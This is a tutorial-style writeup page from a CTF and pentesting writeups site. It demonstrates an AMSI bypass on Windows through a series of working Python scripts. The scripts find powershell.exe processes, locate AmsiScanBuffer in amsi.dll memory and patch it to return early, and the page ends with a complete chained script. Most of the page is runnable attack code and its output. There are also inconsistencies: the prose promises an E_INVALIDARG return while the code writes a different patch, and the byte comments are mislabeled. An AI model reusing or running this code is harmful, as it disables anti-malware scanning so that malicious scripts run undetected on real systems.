Writeups
  • Writeups
    • TryHackMe
      • 🕵️‍♀️Basic Pentesting
      • 🔷Blue
      • ⚡Bolt
      • 🤖Cyborg
      • 🃏HA Jocker CTF
      • 🧊Ice
      • 🕯️Ignite
      • 🎃Jack-of-All-Trades
      • 🎩Mr Robot
      • 🔓Overpass
      • 🥒Pickle Rick
      • 💻RootMe
      • 🐇Year of the Rabbit
    • Vulnhub
      • 📦Colddbox
      • 💱Crypto Bank
      • 🛰️GoldenEye
      • 🎊Hacker Fest
      • 🤠Lampiao
      • ✴️Node
      • ♟️PWNLAB
      • 🔓Solid State
      • 📎Stapler
    • CTFs
      • 🤐Zippy
    • Demos
      • 🤒AMSI bypass using Python
      • 🌆Steganography tools
Powered by GitBook
On this page
  • Methodology
  • Step 1 : Getting the PID of powershell.exe processes
  • Step 2 : Get a handle for the processes
  • Step 3 :Get the loaded modules of the powershell.exe processes
  • Step 4: Find the address in memory of AmsiScanBuffer
  • Step 5: Patch AmsiScanBuffer
  • Final
  1. Writeups
  2. Demos

🤒AMSI bypass using Python

PreviousDemosNextSteganography tools

Last updated 2 years ago

This article is a demonstration of bypassing AMSI using Python and is heavily influenced from Fluid Attacks by

The Windows (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI is agnostic of antimalware vendor; it's designed to allow for the most common malware scanning and protection techniques provided by today's antimalware products that can be integrated into applications.

  • AMSI uses two functions AmsiScanString() and AmsiScanBuffer() for checking malicious content.However these two functions are not really different. In fact, AmsiScanString() is a small function which uses AmsiScanBuffer() underneath

  • So, if we can bypass the checks performed by AmsiScanBuffer(), we can also bypass AmsiScanString()

    The AmsiScanBuffer() checks the code and if the parameters passed by the caller code is not valid, it returns an error code E_INVALIDARG

    We can use this and modify the AmsiScanBuffer() function in memory to bypass the anti-malware checking instructions altogether and force it always to return E_INVALIDARG thus bypassing it.

    We can modify the very beginning of AmsiScanBuffer() with the following instructions:

b857000780          mov eax,0x80070057
c3                  ret

That would move the E_INVALIDARG value to EAX, making it the return value of AmsiScanBuffer(),and successfully bypassing it.

Methodology

  1. Get the PID of running powershell.exe processes.

  2. Get a handle for the processes.

  3. Get the loaded modules of the powershell.exe processes.

  4. Find the address in memory of AmsiScanBuffer.

  5. Patch AmsiScanBuffer.

Step 1 : Getting the PID of powershell.exe processes

Code :

#pid.py

import psutil def getPowershellPids(): ppids = [pid for pid in psutil.pids() if psutil.Process(pid).name() == 'powershell.exe'] return ppids print(getPowershellPids())

Output :

PS C:\Users\User\Documents\AMSI_Bypass> python .\pid.py
[6316]

Step 2 : Get a handle for the processes

The handle is an opaque interface to a process.

  • List all the processes along with the user running them

PS C:\Users\User\Documents\AMSI_Bypass> Get-Process -IncludeUserName

Handles      WS(K)   CPU(s)     Id UserName               ProcessName
-------      -----   ------     -- --------               -----------
     88       4944     0.06   3576 NT AUTHORITY\SYSTEM    AggregatorHost
   =====================================================================
    412      13256     2.41   1468 NT AUTHORITY\LOCAL ... svchost
    113       6124     0.03   1516 NT AUTHORITY\LOCAL ... svchost
    209       6892     0.11   1532 NT AUTHORITY\LOCAL ... svchost
    133       6020     0.00   1608 NT AUTHORITY\SYSTEM    svchost
    289       8108     2.39   1724 NT AUTHORITY\NETWOR... svchost
    219       7256     1.64   1832 NT AUTHORITY\LOCAL ... svchost
    282       7764     0.11   1912 NT AUTHORITY\SYSTEM    svchost
    169       6840     6.58   1936 NT AUTHORITY\LOCAL ... svchost
    125       5236     0.03   1948 NT AUTHORITY\SYSTEM    svchost
    206       7060     0.06   2000 NT AUTHORITY\LOCAL ... svchost
    447      17268    10.02   2024                        svchost
    398      13284     1.92   2052 NT AUTHORITY\LOCAL ... svchost
 =========================================================================
  • Here, we can choose the process svchost with the PID 1832 for our test

Code:

#testhandle.py

from ctypes import *

KERNEL32 = windll.kernel32
PROCESS_ACCESS = (
    0x000F0000 |        # STANDARD_RIGHTS_REQUIRED
    0x00100000 |        # SYNCHRONIZE
    0xFFFF
)
process_handle = KERNEL32.OpenProcess(PROCESS_ACCESS, False, 1832)
if not process_handle:
    print(f'[-] Error: {KERNEL32.GetLastError()}')
else:
    print('[+] Got handle')

Output:

PS C:\Users\User\Documents\AMSI_Bypass> python .\testhandle.py
[+] Got handle

Step 3 :Get the loaded modules of the powershell.exe processes

Now that we have a handle to a powershell.exe process, we want to retrieve the addresses of the modules to find where amsi.dll is loaded in memory space of the process.

Code:

#enummodule.py

import psutil
from ctypes import *


KERNEL32 = windll.kernel32
PSAPI = windll.PSAPI

PROCESS_ACCESS = (
    0x000F0000 |        # STANDARD_RIGHTS_REQUIRED
    0x00100000 |        # SYNCHRONIZE
    0xFFFF
)

def getPowershellPids():
    ppids = [pid for pid in psutil.pids() if psutil.Process(pid).name() == 'powershell.exe']
    return ppids

for pid in getPowershellPids():
    process_handle = KERNEL32.OpenProcess(PROCESS_ACCESS, False, pid)
    if not process_handle:
        continue
    print(f'[+] Got process handle of PID powershell at {pid}: {hex(process_handle)}')

    MAX_PATH = 260
    MAX_MODULE_NAME32 = 255
    TH32CS_SNAPMODULE = 0x00000008
    class MODULEENTRY32(Structure):
        _fields_ = [ ('dwSize', c_ulong) ,
                    ('th32ModuleID', c_ulong),
                    ('th32ProcessID', c_ulong),
                    ('GlblcntUsage', c_ulong),
                    ('ProccntUsage', c_ulong) ,
                    ('modBaseAddr', c_size_t) ,
                    ('modBaseSize', c_ulong) ,
                    ('hModule', c_void_p) ,
                    ('szModule', c_char * (MAX_MODULE_NAME32+1)),
                    ('szExePath', c_char * MAX_PATH)]

    me32 = MODULEENTRY32()
    me32.dwSize = sizeof(MODULEENTRY32)
    snapshotHandle = KERNEL32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
    ret = KERNEL32.Module32First(snapshotHandle, pointer(me32))
    while ret:
        print(f'[+] Got module: {me32.szModule.decode()} loaded at {hex(me32.modBaseAddr)}')
        ret = KERNEL32.Module32Next(snapshotHandle , pointer(me32))

Output:

PS C:\Users\User\Documents\AMSI_Bypass> python .\enummodules.py
[+] Got process handle of PID powershell at 6316: 0x114
[+] Got module: powershell.exe loaded at 0x7ff735b70000
[+] Got module: ntdll.dll loaded at 0x7ffa3dc40000
=================================================================
[+] Got module: System.ni.dll loaded at 0x7ffa27f00000
[+] Got module: System.Core.ni.dll loaded at 0x7ffa045e0000
[+] Got module: psapi.dll loaded at 0x7ffa3db00000
[+] Got module: amsi.dll loaded at 0x7ffa2c8c0000
[+] Got module: MpOav.dll loaded at 0x7ffa2b810000
[+] Got module: wintrust.dll loaded at 0x7ffa3b130000
[+] Got module: CRYPT32.dll loaded at 0x7ffa3b1a0000
[+] Got module: MSASN1.dll loaded at 0x7ffa3a900000
[+] Got module: System.Xml.ni.dll loaded at 0x7ffa0b490000
[+] Got module: System.DirectoryServices.ni.dll loaded at 0x7ffa1e1d0000
====================================================================

Step 4: Find the address in memory of AmsiScanBuffer

Using the discovered base address of amsi.dll, we need to iterate over the memory of the process trying to find the instructions of AmsiScanBuffer.

Code:

#amsibuffer.py

import psutil
from ctypes import *


KERNEL32 = windll.kernel32
PSAPI = windll.PSAPI

PROCESS_ACCESS = (
    0x000F0000 |        # STANDARD_RIGHTS_REQUIRED
    0x00100000 |        # SYNCHRONIZE
    0xFFFF
)

def getPowershellPids():
    ppids = [pid for pid in psutil.pids() if psutil.Process(pid).name() == 'powershell.exe']
    return ppids

def readBuffer(handle, baseAddress, AmsiScanBuffer):
    KERNEL32.ReadProcessMemory.argtypes = [c_ulong, c_void_p, c_void_p, c_ulong, c_int]
    while True:
        lpBuffer = create_string_buffer(b'', len(AmsiScanBuffer))
        nBytes = c_int(0)
        KERNEL32.ReadProcessMemory(handle, baseAddress, lpBuffer, len(lpBuffer), nBytes)
        if lpBuffer.value == AmsiScanBuffer:
            return baseAddress
        else:
            baseAddress += 1
        
for pid in getPowershellPids():
    process_handle = KERNEL32.OpenProcess(PROCESS_ACCESS, False, pid)
    if not process_handle:
        continue
    print(f'[+] Got process handle of PID powershell at {pid}: {hex(process_handle)}')

    MAX_PATH = 260
    MAX_MODULE_NAME32 = 255
    TH32CS_SNAPMODULE = 0x00000008
    class MODULEENTRY32(Structure):
        _fields_ = [ ('dwSize', c_ulong) ,
                    ('th32ModuleID', c_ulong),
                    ('th32ProcessID', c_ulong),
                    ('GlblcntUsage', c_ulong),
                    ('ProccntUsage', c_ulong) ,
                    ('modBaseAddr', c_size_t) ,
                    ('modBaseSize', c_ulong) ,
                    ('hModule', c_void_p) ,
                    ('szModule', c_char * (MAX_MODULE_NAME32+1)),
                    ('szExePath', c_char * MAX_PATH)]

    me32 = MODULEENTRY32()
    me32.dwSize = sizeof(MODULEENTRY32)
    snapshotHandle = KERNEL32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
    ret = KERNEL32.Module32First(snapshotHandle, pointer(me32))


snapshotHandle = KERNEL32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
ret = KERNEL32.Module32First(snapshotHandle, pointer(me32))
while ret:
    if me32.szModule == b'amsi.dll':
        print(f'[+] Found base address of {me32.szModule.decode()}: {hex(me32.modBaseAddr)}')
        KERNEL32.CloseHandle(snapshotHandle)
        amsiDllBaseAddress =  me32.modBaseAddr
        break
    else:
        ret = KERNEL32.Module32Next(snapshotHandle , pointer(me32))
AmsiScanBuffer = (
    b'\x4c\x8b\xdc' +       # mov r11,rsp
    b'\x49\x89\x5b\x08' +   # mov qword ptr [r11+8],rbx
    b'\x49\x89\x6b\x10' +   # mov qword ptr [r11+10h],rbp
    b'\x49\x89\x73\x18' +   # mov qword ptr [r11+18h],rsi
    b'\x57' +               # push rdi
    b'\x41\x56' +           # push r14
    b'\x41\x57' +           # push r15
    b'\x48\x83\xec\x70'     # sub rsp,70h
)
amsiScanBufferAddress = readBuffer(process_handle, amsiDllBaseAddress, AmsiScanBuffer)
print(f'[+] Address of AmsiScanBuffer found at {hex(amsiScanBufferAddress)}')

Output:

PS C:\Users\User\Documents\AMSI_Bypass> python .\amsibuffer.py
[+] Got process handle of PID powershell at 6316: 0x10c
[+] Found base address of amsi.dll: 0x7ffa2c8c0000
[+] Address of AmsiScanBuffer found at 0x7ffa2c8cd9e0

Step 5: Patch AmsiScanBuffer

We can patch the target address with the payload:

xor eax,eax
ret

Code:

#patchbuffer.py

import psutil
from ctypes import *


KERNEL32 = windll.kernel32
PSAPI = windll.PSAPI

PROCESS_ACCESS = (
    0x000F0000 |        # STANDARD_RIGHTS_REQUIRED
    0x00100000 |        # SYNCHRONIZE
    0xFFFF
)
PAGE_READWRITE = 0x40

def getPowershellPids():
    ppids = [pid for pid in psutil.pids() if psutil.Process(pid).name() == 'powershell.exe']
    return ppids


def readBuffer(handle, baseAddress, AmsiScanBuffer):
    KERNEL32.ReadProcessMemory.argtypes = [c_ulong, c_void_p, c_void_p, c_ulong, c_int]
    while True:
        lpBuffer = create_string_buffer(b'', len(AmsiScanBuffer))
        nBytes = c_int(0)
        KERNEL32.ReadProcessMemory(handle, baseAddress, lpBuffer, len(lpBuffer), nBytes)
        if lpBuffer.value == AmsiScanBuffer:
            return baseAddress
        else:
            baseAddress += 1


def writeBuffer(handle, address, buffer):
    nBytes = c_int(0)
    KERNEL32.WriteProcessMemory.argtypes = [c_ulong, c_void_p, c_void_p, c_ulong, c_void_p]
    KERNEL32.VirtualProtectEx.argtypes = [c_ulong, c_void_p, c_size_t, c_ulong, c_void_p]

    res = KERNEL32.VirtualProtectEx(handle, address, len(buffer), PAGE_READWRITE, byref(c_ulong()))
    if not res:
        print(f'[-] VirtualProtectEx Error: {KERNEL32.GetLastError()}')
    res = KERNEL32.WriteProcessMemory(handle, address, buffer, len(buffer), byref(nBytes))
    if not res:
        print(f'[-] WriteProcessMemory Error: {KERNEL32.GetLastError()}')
    return res

for pid in getPowershellPids():
    process_handle = KERNEL32.OpenProcess(PROCESS_ACCESS, False, pid)
    if not process_handle:
        continue
    print(f'[+] Got process handle of PID powershell at {pid}: {hex(process_handle)}')

    MAX_PATH = 260
    MAX_MODULE_NAME32 = 255
    TH32CS_SNAPMODULE = 0x00000008
    class MODULEENTRY32(Structure):
        _fields_ = [ ('dwSize', c_ulong) ,
                    ('th32ModuleID', c_ulong),
                    ('th32ProcessID', c_ulong),
                    ('GlblcntUsage', c_ulong),
                    ('ProccntUsage', c_ulong) ,
                    ('modBaseAddr', c_size_t) ,
                    ('modBaseSize', c_ulong) ,
                    ('hModule', c_void_p) ,
                    ('szModule', c_char * (MAX_MODULE_NAME32+1)),
                    ('szExePath', c_char * MAX_PATH)]

    me32 = MODULEENTRY32()
    me32.dwSize = sizeof(MODULEENTRY32)
    snapshotHandle = KERNEL32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
    ret = KERNEL32.Module32First(snapshotHandle, pointer(me32))

snapshotHandle = KERNEL32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
ret = KERNEL32.Module32First(snapshotHandle, pointer(me32))
while ret:
    if me32.szModule == b'amsi.dll':
        print(f'[+] Found base address of {me32.szModule.decode()}: {hex(me32.modBaseAddr)}')
        KERNEL32.CloseHandle(snapshotHandle)
        amsiDllBaseAddress =  me32.modBaseAddr
        break
    else:
        ret = KERNEL32.Module32Next(snapshotHandle , pointer(me32))
AmsiScanBuffer = (
    b'\x4c\x8b\xdc' +       # mov r11,rsp
    b'\x49\x89\x5b\x08' +   # mov qword ptr [r11+8],rbx
    b'\x49\x89\x6b\x10' +   # mov qword ptr [r11+10h],rbp
    b'\x49\x89\x73\x18' +   # mov qword ptr [r11+18h],rsi
    b'\x57' +               # push rdi
    b'\x41\x56' +           # push r14
    b'\x41\x57' +           # push r15
    b'\x48\x83\xec\x70'     # sub rsp,70h
)

amsiScanBufferAddress = readBuffer(process_handle, amsiDllBaseAddress, AmsiScanBuffer)
print(f'[+] Address of AmsiScanBuffer found at {hex(amsiScanBufferAddress)}')

patchPayload = (
    b'\x29\xc0' +           # xor eax,eax
    b'\xc3'                 # ret
)

if writeBuffer(process_handle, amsiScanBufferAddress, patchPayload):
    print(f'[+] Success patching AmsiScanBuffer in PID {pid}')

Output:

PS C:\Users\User\Documents\AMSI_Bypass> python .\patchbuffer.py
[+] Got process handle of PID powershell at 6316: 0x1f4
[+] Found base address of amsi.dll: 0x7ffa2c8c0000
[+] Address of AmsiScanBuffer found at 0x7ffa2c8cd9e0
[+] Success patching AmsiScanBuffer in PID 6316

Final

  • We can chain all the steps and see how it works

Code:

#amsi.py

#!/usr/bin/env python3
#
# Script to dynamically path AmsiScanBuffer on every powershell process running
# that belongs to current user, or all processes if running as admin
#
# Author: Andres Roldan <aroldan@fluidattacks.com>
# LinkedIn: https://www.linkedin.com/in/andres-roldan/
# Twitter: https://twitter.com/andresroldan


import psutil
import sys
from ctypes import *


KERNEL32 = windll.kernel32
PROCESS_ACCESS = (
    0x000F0000 |        # STANDARD_RIGHTS_REQUIRED
    0x00100000 |        # SYNCHRONIZE
    0xFFFF
)
PAGE_READWRITE = 0x40


def getPowershellPids():
    ppids = [pid for pid in psutil.pids() if psutil.Process(pid).name() == 'powershell.exe']
    return ppids


def readBuffer(handle, baseAddress, AmsiScanBuffer):
    KERNEL32.ReadProcessMemory.argtypes = [c_ulong, c_void_p, c_void_p, c_ulong, c_int]
    while True:
        lpBuffer = create_string_buffer(b'', len(AmsiScanBuffer))
        nBytes = c_int(0)
        KERNEL32.ReadProcessMemory(handle, baseAddress, lpBuffer, len(lpBuffer), nBytes)
        if lpBuffer.value == AmsiScanBuffer or lpBuffer.value.startswith(b'\x29\xc0\xc3'):
            return baseAddress
        else:
            baseAddress += 1


def writeBuffer(handle, address, buffer):
    nBytes = c_int(0)
    KERNEL32.WriteProcessMemory.argtypes = [c_ulong, c_void_p, c_void_p, c_ulong, c_void_p]
    KERNEL32.VirtualProtectEx.argtypes = [c_ulong, c_void_p, c_size_t, c_ulong, c_void_p]

    res = KERNEL32.VirtualProtectEx(handle, address, len(buffer), PAGE_READWRITE, byref(c_ulong()))
    if not res:
        print(f'[-] VirtualProtectEx Error: {KERNEL32.GetLastError()}')
    res = KERNEL32.WriteProcessMemory(handle, address, buffer, len(buffer), byref(nBytes))
    if not res:
        print(f'[-] WriteProcessMemory Error: {KERNEL32.GetLastError()}')
    return res


def getAmsiScanBufferAddress(handle, baseAddress):
    AmsiScanBuffer = (
        b'\x4c\x8b\xdc' +       # mov r11,rsp
        b'\x49\x89\x5b\x08' +   # mov qword ptr [r11+8],rbx
        b'\x49\x89\x6b\x10' +   # mov qword ptr [r11+10h],rbp
        b'\x49\x89\x73\x18' +   # mov qword ptr [r11+18h],rsi
        b'\x57' +               # push rdi
        b'\x41\x56' +           # push r14
        b'\x41\x57' +           # push r15
        b'\x48\x83\xec\x70'     # sub rsp,70h
    )
    return readBuffer(handle, baseAddress, AmsiScanBuffer)


def patchAmsiScanBuffer(handle, funcAddress):
    patchPayload = (
        b'\x29\xc0' +           # xor eax,eax
        b'\xc3'                 # ret
    )
    return writeBuffer(handle, funcAddress, patchPayload)


def getAmsiDllBaseAddress(handle, pid):
    MAX_PATH = 260
    MAX_MODULE_NAME32 = 255
    TH32CS_SNAPMODULE = 0x00000008
    class MODULEENTRY32(Structure):
        _fields_ = [ ('dwSize', c_ulong) ,
                    ('th32ModuleID', c_ulong),
                    ('th32ProcessID', c_ulong),
                    ('GlblcntUsage', c_ulong),
                    ('ProccntUsage', c_ulong) ,
                    ('modBaseAddr', c_size_t) ,
                    ('modBaseSize', c_ulong) ,
                    ('hModule', c_void_p) ,
                    ('szModule', c_char * (MAX_MODULE_NAME32+1)),
                    ('szExePath', c_char * MAX_PATH)]

    me32 = MODULEENTRY32()
    me32.dwSize = sizeof(MODULEENTRY32)
    snapshotHandle = KERNEL32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
    ret = KERNEL32.Module32First(snapshotHandle, pointer(me32))
    while ret:
        if me32.szModule == b'amsi.dll':
            print(f'[+] Found base address of {me32.szModule.decode()}: {hex(me32.modBaseAddr)}')
            KERNEL32.CloseHandle(snapshotHandle)
            return getAmsiScanBufferAddress(handle, me32.modBaseAddr)
        else:
            ret = KERNEL32.Module32Next(snapshotHandle , pointer(me32))


for pid in getPowershellPids():
    process_handle = KERNEL32.OpenProcess(PROCESS_ACCESS, False, pid)
    if not process_handle:
        continue
    print(f'[+] Got process handle of PID powershell at {pid}: {hex(process_handle)}')
    print(f'[+] Trying to find AmsiScanBuffer in {pid} process memory...')
    amsiDllBaseAddress = getAmsiDllBaseAddress(process_handle, pid)
    if not amsiDllBaseAddress:
        print(f'[-] Error finding amsiDllBaseAddress in {pid}.')
        print(f'[-] Error: {KERNEL32.GetLastError()}')
        sys.exit(1)
    else:
        print(f'[+] Trying to patch AmsiScanBuffer found at {hex(amsiDllBaseAddress)}')
        if not patchAmsiScanBuffer(process_handle, amsiDllBaseAddress):
            print(f'[-] Error patching AmsiScanBuffer in {pid}.')
            print(f'[-] Error: {KERNEL32.GetLastError()}')
            sys.exit(1)
        else:
            print(f'[+] Success patching AmsiScanBuffer in PID {pid}')
    KERNEL32.CloseHandle(process_handle)
    print('')

Output:

AmsiScanBuffer is among one of the keywords that are regarded as malicious and can set off an AV. Here, we can see that after running the script we can successfully pass the keyword, bypassing AMSI without triggering the AV.

For more AMSI Bypass methods:

blog post
Andres Roldan
Antimalware Scan Interface